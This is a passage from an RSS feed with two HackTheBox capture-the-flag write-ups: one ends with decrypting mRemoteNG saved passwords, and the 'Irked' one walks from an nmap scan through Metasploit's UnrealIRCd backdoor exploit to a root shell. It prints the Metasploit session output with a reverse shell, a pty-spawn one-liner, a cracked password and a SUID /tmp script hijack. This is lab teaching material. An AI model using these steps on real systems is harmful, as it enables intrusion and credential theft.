other connections</p><blockquote><em>mRemoteNG</em> is the next generation of mRemote, open source, tabbed, multi-protocol, remote connections manage</blockquote><p>Now, we will have to know about this application via googling it. Enumerate as much as you can.There is this one thing about this application.</p><blockquote>The connection list is stored in the file “%userprofile%\AppData\Roaming\<em>mRemoteNG</em>\confCons.xml”</blockquote><p>This application stores the list of all connection and their encrypted password in a confCons.xml file!!! Interesting. Should check it out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8xgG2Ex7xYifoycJufyClA.png" /><figcaption>inside mRemoteNG folder</figcaption></figure><p>enter the command <strong>type confcons.xm</strong>l to view the content inside the xml file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4RHmCTDy18x8XMhsRJUrFQ.png" /><figcaption>encrypted admin password in confcons.xml file</figcaption></figure><p>As you search about mremoteNG program, you will know the encryption mechanism and how to recover the plain text password from it. There is a blog post regarding all this issue.</p><p><a href="http://cosine-security.blogspot.com/2011/06/stealing-password-from-mremote.html">Stealing Passwords from mRemote</a></p><p>Now from here there are two different ways to get admin password.</p><p>(1). One can download the xml file and then install mremoteNG in windows VM, and then replace the original xml file with the one obtained from box. <a href="http://dynamic-datacenter.be/?p=168">http://dynamic-datacenter.be/?p=168</a></p><p>(2).The other method doesn’t require any windows host. Linux is more than enough. In this method the encrypted password is cracked using scripts available online. Those scripts will give you the clear text password which can be used to ssh as administrator and obtain the root hash. Since my windows VM was messed up while mounting the .vhd file, i have to go through this way.</p><p><a href="https://github.com/kmahyyg/mremoteng-decrypt/releases">kmahyyg/mremoteng-decrypt</a></p><p>this is the script to decrypt that password. Download the jar file and execute it by entering <strong>java -jar &lt;FILE_NAME&gt; &lt;ENCRYPTED_PASSWORD&gt; . </strong>It will give you the clear text password for logging in as admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3IiamuehCYlupiyQycMbQQ.png" /><figcaption>logged in as administrator.</figcaption></figure><p>That’s it. We got the root hash.</p><blockquote><strong>Twitter: </strong><a href="https://twitter.com/mritunjay7497"><strong>https://twitter.com/mritunjay7497</strong></a></blockquote><blockquote><strong>Linkedin: </strong><a href="https://www.linkedin.com/in/mritunjay-kumar-b83538149/"><strong>https://www.linkedin.com/in/mritunjay-kumar-b83538149/</strong></a></blockquote><blockquote><strong>Git-hub: </strong><a href="https://github.com/mritunjay7497"><strong>https://github.com/mritunjay7497</strong></a></blockquote><blockquote><strong>htb-profile: </strong><a href="https://www.hackthebox.eu/home/users/profile/24578"><strong>https://www.hackthebox.eu/home/users/profile/24578</strong></a></blockquote><p>Do share your reviews about the write-up and clap if you feel good about it.</p><h4>TILL THEN….<br>HACK THE PLANET…</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=766ae64eef1b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[“IRKED” hackthebox write-up:-]]></title>
            <link>https://plusx0x07.medium.com/irked-hackthebox-write-up-ecd897840007?source=rss-1c37aae669eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/ecd897840007</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[+X]]></dc:creator>
            <pubDate>Sat, 27 Apr 2019 05:07:39 GMT</pubDate>
            <atom:updated>2019-04-27T06:15:47.590Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This was my first machine on </em><a href="https://www.hackthebox.eu/"><em>HackTheBox</em></a><em> and prior to this I have been doing a few challenges in wild, mostly from miscellaneous,stego and crypto ones. This box was all about enumeration and some more of it. I will be listing down various resources to get root access on this box. Some screenshot of my enumeration and getting access and using various exploits have been mentioned too for better understanding of the whole process.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JLjHGw8FO2tiiPYMjiBdeQ.jpeg" /><figcaption>HTB welcome page</figcaption></figure><p>To connect to the HTB server you’re required to get the connection pack(or, more precisely,your VPN configuration file) from the server. To connect to the server all you have to enter <strong>openvpn xyz.ovpn </strong>where xyz.ovpn is the connection pack you just downloaded from the server.</p><p>After this you will receive given an IP address something like this 10.10.x.x. You are supposed to use this IP to connect to the machines on HTB server.</p><h3>Let’s dip in:</h3><h4>GETTING USER ACCESS:</h4><p><strong>Port-scanning:</strong></p><p>Irked was assigned 10.10.10.117 as its IP address. So we will be doing port scanning via <a href="https://linux.die.net/man/1/nmap">nmap</a>:</p><p><strong><em>nmap -sC -sV -p- -oA irked -T4 10.10.10.117</em></strong></p><p>Note that this scan will take some time (usually 10–15 minutes) to complete as it will be scanning all the ports in range 1–65535. We are required to do this because there are some services running on unusual ports as well and we will be using it in a while. The scan will yield the following results as its output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*tnIyeGvTLZTMw0WzuHj_4Q.jpeg" /><figcaption>nmap scan output</figcaption></figure><p>So we got HTTP , SSH, and IRC services up on this box.</p><p><strong>Webpage:</strong></p><p>Taking a look at the web-page we come across a giant emoji with a grinning face and caption saying <strong>IRC is almost working!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K96FW-MSbE4R8ZwQprtNPw.jpeg" /><figcaption>irked web page</figcaption></figure><p>Interesting. But it says something about IRC (<a href="https://en.wikipedia.org/wiki/Internet_Relay_Chat">internet relay chat</a>) service. Taking a look at our scan output from nmap again, we come to know that this machine is hosting an IRC service on port 6697. This was the main motive of doing a full port scan. Worth it!.</p><p><strong>Enumeration</strong>:</p><p>Google is your friend here as this box. Looking for port number 6697, we come to now that 6697 is used as a default port for incoming IRC connections over TCP/UDP.</p><p>IRC networks have defaulted to listening on TCP port 6667 for plain text connections for a considerable time now. This is covered by the IRCU assignment of TCP/UDP ports 6665–6669.</p><p>but what does <strong>“IRCS-U”</strong> stands for ? Google it! It means unrealIRC service. The first search result only will redirect you to exploiting unreal-irc service using metasploit. It can be exploited to plant a backdoor into the machine and obtaining a low-privileged shell at first. This vunerability has CVE no. as <strong>cve-2010–2075.</strong></p><p><strong>Metasploit low-priv shell:</strong></p><p>Now it’s time to get into the system and enumerate inside the box.</p><p><strong><em>msf5 &gt; use exploit/unix/irc/unreal_ircd_3281_backdoor <br>msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) &gt; set RHOSTS 10.10.10.117<br>RHOSTS =&gt; 10.10.10.117<br>msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) &gt; set RPORT 6697<br>RPORT =&gt; 6697<br>msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) &gt; show targets</em></strong></p><p><strong><em>Exploit targets:</em></strong></p><p><strong><em>Id Name<br> — — — <br> 0 Automatic Target</em></strong></p><p><strong><em>msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) &gt; set target 0<br>target =&gt; 0<br>msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) &gt; show options</em></strong></p><p><strong><em>Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):</em></strong></p><p><strong><em>Name Current Setting Required Description<br> — — — — — — — — — — — — — — — — — — — -<br> RHOSTS 10.10.10.117 yes The target address range or CIDR identifier<br> RPORT 6697 yes The target port (TCP)</em></strong></p><p><strong><em>Exploit target:</em></strong></p><p><strong><em>Id Name<br> — — — <br> 0 Automatic Target</em></strong></p><p><strong><em>msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) &gt; exploit</em></strong></p><p><strong><em>[*] Started reverse TCP double handler on 10.10.14.227:4444 <br>[*] 10.10.10.117:6697 — Connected to 10.10.10.117:6697…<br> :irked.htb NOTICE AUTH :*** Looking up your hostname…<br>[*] 10.10.10.117:6697 — Sending backdoor command…<br>[*] Accepted the first client connection…<br>[*] Accepted the second client connection…<br>[*] Command: echo SkTkNMm7dwpsFjtB;<br>[*] Writing to socket A<br>[*] Writing to socket B<br>[*] Reading from sockets…<br>[*] Reading from socket A<br>[*] A: “SkTkNMm7dwpsFjtB\r\n”<br>[*] Matching…<br>[*] B is input…<br>[*] Command shell session 1 opened (10.10.14.227:4444 -&gt; 10.10.10.117:37621) at 2019–03–20 04:09:57 +0530</em></strong></p><p><strong><em>whoami<br>ircd<br>pwd<br>/home/ircd/Unreal3.2</em></strong></p><p>Whoa!! We got low privileged shell on this box. Now we will be spawning a bash shell using python script:</p><p><strong><em>python -c ‘import pty;pty.spawn(“/bin/bash”)’</em></strong></p><h4>python -c ‘import pty;pty.spawn(“/bin/bash”)’<br>ircd@irked:~/Unreal3.2$</h4><p>we got a bash shell. Now navigating back two directory and listing the files there by using <strong><em>ls -lah, </em></strong>we can see that there are two sub-directories in /home, namely <strong>ircd and djmardov</strong></p><h4>ircd@irked:~/Unreal3.2$ cd ../../<br>cd ../../<br>ircd@irked:/home$ ls -lah<br>ls -lah<br>total 16K<br>drwxr-xr-x 4 root root 4.0K May 14 2018 .<br>drwxr-xr-x 21 root root 4.0K May 15 2018 ..<br>drwxr-xr-x 18 djmardov djmardov 4.0K Mar 19 20:52 djmardov<br>drwxr-xr-x 3 ircd root 4.0K May 15 2018 ircd<br>ircd@irked:/home$</h4><p>So it means that there is an another user named <strong>djmardov</strong> residing on the machine. Also there was an ssh port open which we saw in our initial scan so either of these two users must have been using SSH to log into the box. Now we have to decide which user it is. Running a quick<strong><em> ps aux | grep ssh </em></strong>will provide us with the required info.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*77nG6nw3St2WzefBjqUMfg.png" /><figcaption>“ps aux | grep ssh” output</figcaption></figure><p>So it’s user <strong><em>djmardov </em></strong>who is using the SSH service over port 22. Niceee!!</p><p><strong>Gaining SSH access:</strong></p><p>Firing up an another terminal and trying to connect with <strong><em>ssh djmardov@10.10.10.117</em></strong> prompt us for the password. So we are required to provide the password for this ssh connection. We will get back to this in a while.</p><p>However, that emoji on the webpage wasn’t there for just like that. Try to download that image and enumerating it look for any piece of info we could find.</p><p>Now this challenge will take an unprecedented turn toward stego. Yes, that image is an stego file which means it has some info stored in it. Being an stego file the info will be password protected so we will be needing the password to get that piece of information.</p><p>Switching back to our shell and navigating to the <strong><em>djmardov </em></strong>directory, we will look for the password to crack that stego image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*_S7FN_jB2s2OzNFrUyFiLQ.jpeg" /><figcaption>contents in user “djmardov” home directory</figcaption></figure><p>So we got <strong><em>user.txt</em></strong>, which is our user flag and <strong><em>.backup</em></strong> . But trying to read <strong><em>user.txt</em></strong> throws error as we aren’t logged in as <strong><em>djmardov</em></strong> but as <strong><em>ircd</em></strong>. However we can read <strong><em>.backup</em></strong> file which gives hint as stego and passwd which must be the password for that stego file.</p><p><strong>Cracking stego file:</strong></p><p>We will be using the steghide utility to grab info from irked.jpg (the one we downloaded from the webpage).</p><p><strong><em>steghide extract -sf irked.jpg </em></strong>which will prompt for the password. The password is the one obtained from .<strong><em>backup</em></strong> file. After supplying the password, we get a message saying <strong><em>“</em>wrote extracted data to “pass.txt”<em>.” </em></strong>So we got the required info from that image. Running cat command over pass.txt gives us a string of letters and characters.</p><p><strong><em>root@kali:~/HackTheBox/machines/irked# cat pass.txt <br>Kab6h+m+bbp2J:HG</em></strong></p><p>So it should be the password of SSH of <strong>djmardov</strong> user.</p><p>Now continuing with the ssh, after entering this password , we finally logged in as <strong><em>djmardov@irked</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*doj8319YVwo9fNpJiP35fQ.png" /><figcaption>ssh login as djmardov</figcaption></figure><p>now we can go to /Documents and can read the <strong>user.txt</strong> file.</p><p><strong>djmardov@irked:~$ cd Documents/<br>djmardov@irked:~/Documents$ ls<br>user.txt<br>djmardov@irked:~/Documents$ cat user.txt <br>4a66a78b12dc0e661a59d3f5c0267a8e<br>djmardov@irked:~/Documents$</strong></p><p>Gotcha!!. We got the user flag and finally owned the user.</p><h3>GETTING ROOT ACCESS :</h3><p>Now comes the tough part. As this machine mainly made for enumeration skills, so most of the exploits such as <a href="https://www.exploit-db.com/exploits/40616">Dirtycow</a> won’t work here. Also keep in mind that even after getting SSH, user isn’t allowed to run any binary files whose <a href="https://www.linuxnix.com/suid-set-suid-linuxunix/">SUID bit</a> isn’t set. Now comes the most interesting part, ENUMERATE, ENUMERATE AND ENUMERATE!!!.</p><p><strong>Enumaerating locally:</strong></p><p>There is a script for enumerating linux machine locally, <a href="https://github.com/rebootuser/LinEnum">linenum.sh</a> . Executing this script will show all the relevant info about this particular box and <strong>djmardov</strong>,<strong>ircd</strong> &amp; <strong>root</strong> user.</p><p>Running this script will throw a lot if info out of which SUID and SGID information is most valuable one. Now to execute this code on target machine, we will have to upload it there first. One way of doing that is to download the script locally and then executing <strong><em>python -m SimpleHTTPServer 8000 </em></strong>in the download directory of local machine. It will start a http server on the local machine on port 8000. After this all we have to do is to execute <strong><em>wget 10.10.x.x:8000/&lt;script_name_goes_here&gt;</em></strong> on target machine and the file will be downloaded. Grant the necessary privileges to the script(<strong><em>chmod a+x script.sh</em></strong>). Now run the script and look for SUID and SGID files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*HIcHM9jEW1FzSj_XT59VRg.jpeg" /><figcaption>Files having SUID bit set</figcaption></figure><p>Okay. So these are the most interesting files because they can run with elevated or root privileges. Also user <strong>djmardov</strong> has permission to execute these files. Now we will have to try and see what most of these binaries do. Starting from some most interesting ones such as<strong> /usr/bin/procmail, /usr/bin/at, /usr/bin/X </strong>(all these three binaries has permission as <strong>-rwxr-sr-x</strong>). But finally none of these files helps us to escalate privilege. So moving on to other interesting binaries and executing them one by one, we come across a rather interesting one <strong>/usr/bin/viewuser.</strong> Executing it, gives us the following output.</p><p><strong>djmardov@irked:/usr/bin$ ./viewuser<br>This application is being devleoped to set and test user permissions<br>It is still being actively developed<br>(unknown) :0 2019–03–19 21:11 (:0)<br>djmardov pts/1 2019–03–19 21:11 (10.10.15.162)<br>djmardov pts/2 2019–03–19 21:32 (10.10.14.227)<br>sh: 1: /tmp/listusers: not found<br>djmardov@irked:/usr/bin$</strong></p><p>INTERESTING!!</p><p>so this script shows the current logged in user and also tries to run a script in <strong>/tmp </strong>named<strong> listusers</strong>. keep in mind that this binary has <strong>SUID</strong> bit set so this script is executed with root privileges.Good. So , basically this script will run any piece of code in /tmp/listusers. Now we will switch to /<strong>tmp</strong> directory and will make a script named <strong>listusers</strong> of our own.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pHeVARFSJ97fs17RksroIg.jpeg" /><figcaption>modified <strong>listusers</strong> script in /tmp directory</figcaption></figure><p><strong>djmardov@irked:/tmp$ nano listusers <br>djmardov@irked:/tmp$ cat listusers <br>#!/bin/bash<br>bash<br>djmardov@irked:/tmp$</strong></p><p><strong>Now all this little script do is to invoke a bash shell. Since listuser is called by /usr/bin/viewuser which,in turn, is called by root. So, basically list user is called by root and the bash shell invoked will have root privileges.</strong></p><p>Let’s test out theory. Executing /usr/bin/viewuser gives the following output.</p><p><strong>djmardov@irked:/tmp$ cd /usr/bin/<br>djmardov@irked:/usr/bin$ ./viewuser <br>This application is being devleoped to set and test user permissions<br>It is still being actively developed<br>(unknown) :0 2019–03–19 22:15 (:0)<br>djmardov pts/0 2019–03–19 22:16 (10.10.14.227)<br>root@irked:/usr/bin# pwd<br>/usr/bin<br>root@irked:/usr/bin# cd <br>root@irked:~# pwd<br>/home/djmardov<br>root@irked:~# cd /root/<br>root@irked:/root# ls <br>pass.txt root.txt<br>root@irked:/root# cat pass.txt root.txt <br>Kab6h+m+bbp2J:HG<br>8d8e9e8be64654b6dccc3bff4522daf3<br>root@irked:/root#</strong></p><p>yay!!. we got root access on our machine. We got root flag too and this password is same as one we got from that stego file, <strong>irked.jpg.</strong></p><h4>lessons we learnt:</h4><p>Enumerate and enumerate more. Never ignore files owned by root especially those having SUID bit set. Don’t overlook a simple object such as irked image on website as nothing is for just like that.</p><p><strong>I hope you enjoyed my first write-up in infosec. If positive, do clap and HACK THE PLANET!!</strong></p><p><em>Twitter</em>: <a href="https://twitter.com/mritunjay7497">https://twitter.com/mritunjay7497</a></p><p><em>linkedin</em>: <a href="https://www.linkedin.com/in/mritunjay-kumar-b83538149/">https://www.linkedin.com/in/mritunjay-kumar-b83538149/</a></p><p><em>E-mail</em>:- elliot.7497@gmail.com</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ecd897840007" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>